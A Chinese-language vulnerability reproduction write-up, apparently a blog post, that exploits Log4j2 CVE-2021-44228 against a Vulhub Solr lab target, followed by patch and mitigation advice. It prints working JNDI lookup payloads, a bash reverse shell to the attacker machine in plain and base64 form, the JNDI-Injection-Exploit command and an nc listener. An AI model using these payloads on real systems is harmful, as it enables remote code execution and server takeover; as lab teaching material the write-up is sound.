【漏洞复现】log4j2 CVE-2021-44228

一、log4j2漏洞简介

Apache log4j 2是一款开源的Java日志记录框架,提供方便的日志记录,通过定义每一条日志信息的级别,能够更加细致地控制日志生成过程,以便用于编写程序时进行调试,在项目上线后出现状况时也可根据日志记录来判断原因,被广泛大量用于业务系统开发环境中。经验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等众多组件与大型应用均受影响,该类组件存在Java JNDI注入,当程序将用户输入的数据进行日志,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码,危害极其严重。

1. 危害等级

严重

2. 受影响版本

2.0-beta9 <= Apache Log4j <= 2.15.0-rc1

3. 已知受影响应用及组件

Apache Solr

Apache Flink

Apache Druid

srping-boot-strater-log4j2

4. 不受影响版本:

Apache log4j-2.15.0-rc2

二、复现环境

靶机(搭建的Vulhub漏洞测试靶场):192.168.15.15
攻击机(kali):192.168.15.131
Vulhub漏洞测试靶场的搭建可参考:Vulhub漏洞测试靶场搭建

三、复现过程

1. 启动log4j2漏洞环境

在这里插入图片描述

浏览器输入:http://192.168.15.15:8983 打开网址

在这里插入图片描述

2. 使用DNSLog来进行探测漏洞存在的注入点

访问 dnslog.cn 获取测试域名地址

在这里插入图片描述

我们可以发现/solr/admin/cores?这里有个参数可以传,可以按照原理先构造一个请求传过去

http://192.168.15.15:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.36oinp.dnslog.cn}

在这里插入图片描述
可以看到Java的版本被输出,测试具有漏洞

3. 攻击

应用工具JNDI-Injection-Exploit搭建服务,格式:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "命令" -A "ip(攻击机)"  

这里的命令是想要靶机运行的命令,-A后放的是发出攻击的电脑的ip,也是存放-C后“命令”的ip地址。
注意“命令”必须经过编码,不然将无法实现。

构造反弹shell用到的命令

 bash -i >& /dev/tcp/192.168.15.131/6666 0>&1

使用在线base64编码平台将反弹shell进行编码
在这里插入图片描述

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEzMS82NjY2IDA+JjE=

构造解析base64命令行代码

bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOS82NjY2IDA+JjE=}|{base64, -d}|{bash, -i}

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具
工具下载地址

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOS82NjY2IDA+JjE=}|{base64, -d}|{bash, -i}" -A 192.168.15.131 

打开控制端监听

sudo nc -lvnp 6666 

在这里插入图片描述

根据我们之前探测java的jdk为1.8.0所以选择所选的ladp地址

在这里插入图片描述
我们在浏览器中运行构造的paload请求,发现服务器去下载了恶意类

http://192.168.15.15:8983/solr/admin/cores?action=${jndi:ldap://192.168.15.131:1389/rh8fqa}

在这里插入图片描述

成功反弹shell

查看监听端口成功反弹shell,并获取的root权限
在这里插入图片描述

四、修复建议

  1. 尽快通过参考链接中官网地址升级到最新版本:
    https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
  2. 配置网络防火墙,禁止系统主动外连网络,包含不限于DNS、TCP/IP、ICMP。
  3. 升级已知受影响的应用及组件,如srping-boot-strater-log4j2、ApacheSolr、Apache Flink、Apache Druid。
  4. 排查日志集中管理服务器,以及基于java开发的商业软件,以及其他可能存在隐患的基础环境。
  5. 紧急加固缓解措施:

① 设置参数:

log4j2.formatMsgNoLookups=True

② 修改JVM参数:

-Dlog4j2.formatMsgNoLookups=true

③ 系统环境变量:

FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true

④ 禁止 log4j2 所在服务器外连

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值